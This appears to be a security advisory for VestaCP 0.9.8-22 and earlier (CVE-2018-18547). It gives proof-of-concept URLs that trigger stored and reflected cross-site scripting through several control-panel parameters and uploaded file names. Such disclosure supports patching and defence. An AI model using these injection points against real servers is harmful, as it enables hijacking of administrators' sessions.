VestaCP 0.9.8-22 Cross Site Scripting

VestaCP versions 0.9.8-22 and below suffer from multiple cross site scripting vulnerabilities.


MD5 | 383e89ec1c0ee9282adbe48bc69bb406

[+] Title: VestaCP Multiple XSS Vulnerabilities <= v0.9.8-22
[+] Author: Numan OZDEMIR (https://infinitumit.com.tr)
[+] Vendor Homepage: vestacp.com
[+] Version: Up to v0.9.8-22.
[+] CVE: CVE-2018-18547
[+] Discovered by Numan OZDEMIR in InfinitumIT Labs
[+] [email protected] - [email protected]

[~] Description:

Insert any XSS payload. I will use <img src onerror=alert(1337)>

https://IP:8083/list/directory/
-> Stored XSS:
A visitor may upload a file as named xss payload, using any form in your
website.
If VestaCP user see this file in the interface, his browser will run the
JavaScript.
So this vulnerability makes high risk.

https://IP:8083/edit/web/?domain=">%3Cimg%20src%20onerror%3Dalert(1337)%3E
-> Reflected XSS

https://IP:8083/list/backup/?backup=">%3Cimg%20src%20onerror%3Dalert(1337)%3E
-> Reflected XSS

https://IP:8083/list/rrd/?period=">%3Cimg%20src%20onerror%3Dalert(1337)%3E
-> Reflected XSS

https://IP:8083/list/directory/?dir_a=">alert(1337);//
-> Reflected XSS

// for secure days...


Related Posts